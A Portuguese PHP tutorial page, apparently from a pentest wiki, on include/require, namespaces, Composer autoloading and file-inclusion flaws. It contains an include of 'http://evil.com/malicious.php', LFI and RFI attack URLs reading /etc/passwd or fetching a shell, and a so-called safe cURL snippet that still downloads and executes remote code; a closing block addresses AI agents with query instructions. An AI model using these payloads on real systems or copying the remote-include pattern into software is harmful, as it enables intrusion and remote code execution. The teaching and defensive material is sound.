# 4. Importacao

## Introdução

O **PHP** (Hypertext Preprocessor) é uma linguagem de script amplamente utilizada no desenvolvimento web. Diferente do Bash, que usa `source` para importar código, o PHP oferece um conjunto de mecanismos para inclusão de arquivos, organização de código através de namespaces e carregamento automático de classes. Esta documentação foca exclusivamente na **importação** de bibliotecas locais, remotas, arquivos, funções e classes no PHP, detalhando sintaxe, comportamento do computador e exemplos práticos com ênfase em segurança.

## Importação no PHP

No PHP, a importação de código externo é realizada através de quatro constructos principais: `include`, `require`, `include_once` e `require_once`. Estes comandos incluem e executam o conteúdo de outro arquivo no local onde são chamados.

### Sintaxe Básica

```php
include 'caminho/para/arquivo.php';
require 'caminho/para/arquivo.php';
include_once 'caminho/para/arquivo.php';
require_once 'caminho/para/arquivo.php';
```

* **`include`**: Inclui e avalia o arquivo especificado. Emite um **warning (E\_WARNING)** se o arquivo não for encontrado e o script continua.
* **`require`**: Similar ao `include`, mas emite um **fatal error (E\_COMPILE\_ERROR)** se o arquivo não for encontrado, interrompendo o script.
* **`_once`**: Versões que garantem que o arquivo seja incluído apenas uma vez, evitando redefinições de funções ou classes.
* **Comportamento**: O código do arquivo incluído é executado no mesmo escopo onde a inclusão ocorre (escopo global ou dentro de função/classes).

### Importação de Bibliotecas Locais

Bibliotecas locais são arquivos PHP contendo funções, classes, constantes ou configurações reutilizáveis.

#### Exemplo

**biblioteca.php**:

```php
<?php
function saudacao($nome) {
    return "Olá, $nome!";
}

const VERSAO = "1.0.0";
```

**main.php**:

```php
<?php
include 'biblioteca.php';

echo saudacao("Alice");  // Saída: Olá, Alice!
echo VERSAO;              // Saída: 1.0.0
```

* **Comportamento do Computador**:
  * O PHP lê `biblioteca.php`, compila e executa seu conteúdo.
  * A função `saudacao` e a constante `VERSAO` são registradas na tabela de símbolos global.
  * Ficam disponíveis para uso em todo o script após o ponto de inclusão.
  * Se o arquivo não existir, `include` gera um warning, mas o script continua.

#### Validação de Arquivo

Para evitar erros, verifique a existência do arquivo antes de importar:

```php
<?php
$arquivo = __DIR__ . '/biblioteca.php';

if (file_exists($arquivo)) {
    include $arquivo;
} else {
    die("Erro: biblioteca.php não encontrado");
}
```

### Importação de Bibliotecas Remotas

{% hint style="warning" %}
O PHP **não suporta nativamente** a inclusão direta de arquivos remotos via HTTP/HTTPS em configurações padrão. No entanto, quando a diretiva `allow_url_include` está habilitada no `php.ini`, é possível incluir arquivos de URLs remotas. **Esta prática é extremamente perigosa e deve ser desabilitada em ambientes de produção.**
{% endhint %}

#### Exemplo (Configuração Insegura)

```php
<?php
// Só funciona se allow_url_include = On
include 'http://evil.com/malicious.php';
```

* **Comportamento do Computador**:
  * O PHP faz uma requisição HTTP para a URL especificada.
  * O conteúdo retornado é interpretado como código PHP e executado no contexto do script atual.
  * **Risco**: Um atacante pode executar código arbitrário no servidor (Remote Code Execution - RCE).

#### Alternativa Segura com cURL

Para baixar e executar código remoto de forma controlada:

```php
<?php
$url = 'https://exemplo.com/biblioteca.php';
$temp_file = tempnam(sys_get_temp_dir(), 'php_');

$ch = curl_init($url);
$fp = fopen($temp_file, 'w');
curl_setopt($ch, CURLOPT_FILE, $fp);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_exec($ch);

if (curl_errno($ch) === 0) {
    include $temp_file;
} else {
    echo "Erro ao baixar biblioteca remota";
}

curl_close($ch);
fclose($fp);
unlink($temp_file);
```

* **Comportamento do Computador**:
  * `tempnam()` cria um arquivo temporário único.
  * cURL baixa o conteúdo remoto para o arquivo temporário.
  * O arquivo é incluído e executado.
  * O arquivo temporário é removido após a execução.

#### Cuidados com Importação Remota

* **Segurança**: Nunca inclua arquivos remotos em produção. Desabilite `allow_url_include`.
* **Validação**: Sempre valide e sanitize qualquer URL externa antes de usar.
* **HTTPS**: Use apenas conexões seguras para evitar ataques Man-in-the-Middle.

### Importação de Funções e Classes

Funções e classes definidas em arquivos externos são importadas automaticamente quando o arquivo é incluído.

#### Exemplo

**classes.php**:

```php
<?php
class Usuario {
    public $nome;
    
    public function __construct($nome) {
        $this->nome = $nome;
    }
    
    public function saudacao() {
        return "Olá, {$this->nome}!";
    }
}

function calcular_soma($a, $b) {
    return $a + $b;
}
```

**main.php**:

```php
<?php
require_once 'classes.php';

$usuario = new Usuario("Alice");
echo $usuario->saudacao();  // Saída: Olá, Alice!

$resultado = calcular_soma(5, 3);
echo "Soma: $resultado";    // Saída: Soma: 8
```

* **Comportamento do Computador**:
  * `require_once` inclui o arquivo uma única vez.
  * A classe `Usuario` e a função `calcular_soma` são registradas no escopo global.
  * Novas instâncias podem ser criadas e as funções chamadas normalmente.

### Importação de Arquivos de Configuração

Arquivos de configuração são comumente usados para definir variáveis de ambiente e constantes.

#### Exemplo

**config.php**:

```php
<?php
define('DB_HOST', 'localhost');
define('DB_USER', 'root');
define('DB_PASS', 'secret');

$app_name = "Meu Sistema";
```

**main.php**:

```php
<?php
require_once 'config.php';

echo DB_HOST;              // Saída: localhost
echo $app_name;            // Saída: Meu Sistema
```

* **Comportamento do Computador**:
  * Constantes definidas com `define()` ficam disponíveis globalmente.
  * Variáveis definidas no arquivo config tornam-se variáveis globais.
  * **Cuidado**: Variáveis podem ser sobrescritas se não forem nomeadas adequadamente.

## Namespaces

Namespaces foram introduzidos no PHP 5.3 para resolver conflitos de nomes entre classes, funções e constantes. Eles permitem organizar código em hierarquias lógicas, similar a diretórios.

### Declaração de Namespace

```php
<?php
namespace App\Controller;

class UserController {
    public function index() {
        return "Listando usuários";
    }
}
```

* **Comportamento do Computador**:
  * O PHP registra a classe `UserController` sob o namespace `App\Controller`.
  * O nome completo (Fully Qualified Name) é `\App\Controller\UserController`.
  * Arquivos com namespace devem ser o primeiro código no arquivo (exceto `declare`).

### Importação com `use`

```php
<?php
// Importando uma classe
use App\Controller\UserController;

$controller = new UserController();
echo $controller->index();

// Importando com alias
use App\Controller\UserController as UserCtrl;
$controller = new UserCtrl();

// Importando múltiplas classes
use App\Controller\{UserController, AdminController};

// Importando funções (PHP 5.6+)
use function App\Helper\formatar_nome;

// Importando constantes (PHP 5.6+)
use const App\Config\VERSAO;
```

* **Comportamento do Computador**:
  * `use` cria aliases locais para namespaces completos.
  * Não há impacto em performance; é apenas uma conveniência do compilador.
  * O alias é resolvido em tempo de compilação.

### Namespace Global

```php
<?php
// Classe no namespace global
class MinhaClasse {}

// Referenciando classe global dentro de um namespace
namespace App\Controller;

$obj = new \MinhaClasse();  // Barra invertida no início indica namespace global
```

### Comportamento Geral do Computador com Namespaces

* **Resolução**: O PHP mantém uma tabela de símbolos por namespace. Quando uma classe é referenciada, ele busca:
  1. No namespace atual
  2. No namespace importado via `use`
  3. No namespace global (se precedido por `\`)
* **Compilação**: Aliases de `use` são resolvidos em tempo de compilação, não em runtime.
* **Performance**: Namespaces não impactam significativamente a performance, mas organizam melhor o código.

## Autoloading

Autoloading elimina a necessidade de múltiplos `require` manuais. O PHP chama automaticamente uma função registrada quando uma classe ainda não foi definida.

### `spl_autoload_register`

```php
<?php
spl_autoload_register(function ($classe) {
    // Converte namespace para caminho de arquivo
    $caminho = __DIR__ . '/src/' . str_replace('\\', '/', $classe) . '.php';
    
    if (file_exists($caminho)) {
        require $caminho;
    }
});

// Agora o PHP carrega automaticamente a classe quando necessária
$usuario = new App\Model\Usuario();
```

* **Comportamento do Computador**:
  * Quando `new App\Model\Usuario()` é chamado e a classe não existe.
  * O PHP percorre todas as funções registradas em `spl_autoload_register()`.
  * A primeira função que incluir um arquivo definindo a classe interrompe a busca.
  * Se nenhuma função carregar a classe, um erro fatal é gerado.

### PSR-4 Autoloading (Composer)

O padrão PSR-4 define uma convenção para autoloading baseada em namespaces e estrutura de diretórios. O Composer, gerenciador de dependências do PHP, implementa este padrão.

**composer.json**:

```json
{
    "autoload": {
        "psr-4": {
            "App\\": "src/",
            "Database\\": "database/"
        }
    }
}
```

**Estrutura de Diretórios**:

```
project/
├── src/
│   ├── Controller/
│   │   └── UserController.php    # namespace App\Controller
│   └── Model/
│       └── User.php               # namespace App\Model
├── vendor/
│   └── autoload.php               # Gerado pelo Composer
└── composer.json
```

**Uso**:

```php
<?php
require __DIR__ . '/vendor/autoload.php';

// As classes são carregadas automaticamente
use App\Controller\UserController;
use App\Model\User;

$controller = new UserController();
$user = new User();
```

* **Comportamento do Computador**:
  * O Composer gera um arquivo `vendor/autoload.php` contendo a lógica de autoloading.
  * O autoloader mapeia namespaces para diretórios conforme definido no PSR-4.
  * Classes são carregadas sob demanda, reduzindo o uso de memória e tempo de inicialização.

## Vulnerabilidades de Inclusão de Arquivos

### Local File Inclusion (LFI)

Ocorre quando um parâmetro controlado pelo usuário é passado para `include`, `require` ou similares.

```php
<?php
// Código vulnerável
$pagina = $_GET['page'];
include $pagina . '.php';
```

**Exploração**:

```
http://target.com/index.php?page=../../etc/passwd%00
```

* `%00` é um null byte (funciona em PHP < 5.3.4) que encerra a string antes da extensão `.php`.
* Permite ler arquivos sensíveis como `/etc/passwd` ou arquivos de configuração.

### Remote File Inclusion (RFI)

Quando `allow_url_include = On` no `php.ini`, é possível incluir arquivos remotos.

```
http://target.com/index.php?page=http://evil.com/shell.txt
```

### Defesas

```php
<?php
// Whitelist de páginas permitidas
$paginas_permitidas = ['home', 'about', 'contact'];

if (in_array($_GET['page'], $paginas_permitidas)) {
    include __DIR__ . '/pages/' . $_GET['page'] . '.php';
} else {
    include '404.php';
}
```

## Boas Práticas para Importação

* **Use `require_once` para arquivos essenciais** como classes e configurações críticas.
* **Prefira caminhos absolutos** usando `__DIR__` para evitar problemas de path traversal.

  ```php
  require __DIR__ . '/config/database.php';
  ```
* **Desabilite `allow_url_include`** em produção.

  ```ini
  allow_url_include = Off
  allow_url_fopen = Off
  ```
* **Use autoloading PSR-4** via Composer em vez de `require` manuais.
* **Valide entradas** antes de usá-las em inclusões.
* **Organize namespaces** de acordo com a estrutura de diretórios.
* **Documente bibliotecas** com PHPDoc para facilitar a manutenção.

## Resumo para Pentest

| Mecanismo                                | Risco de Segurança                             |
| ---------------------------------------- | ---------------------------------------------- |
| `include`/`require` com input do usuário | **LFI / RFI**                                  |
| `allow_url_include = On`                 | **RFI** permitido (RCE)                        |
| `__DIR__` não utilizado                  | Path traversal facilitado                      |
| Autoloading mal configurado              | Possível inclusão de arquivos não intencionais |
| `include_once` sem validação             | Ainda vulnerável a LFI                         |

## Recursos Adicionais

* Manual: [PHP: include](https://www.php.net/manual/pt_BR/function.include.php)
* Manual: [PHP: Namespaces](https://www.php.net/manual/pt_BR/language.namespaces.php)
* Manual: [PHP: Autoloading](https://www.php.net/manual/pt_BR/language.oop5.autoload.php)
* Composer: [getcomposer.org](https://getcomposer.org/)
* PSR-4: [PHP-FIG PSR-4](https://www.php-fig.org/psr/psr-4/)
* OWASP: [Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
* OWASP: [Remote File Inclusion](https://owasp.org/www-community/attacks/Remote_File_Inclusion)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/conceitos/programacao-e-linguagens/php/4.-importacao.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
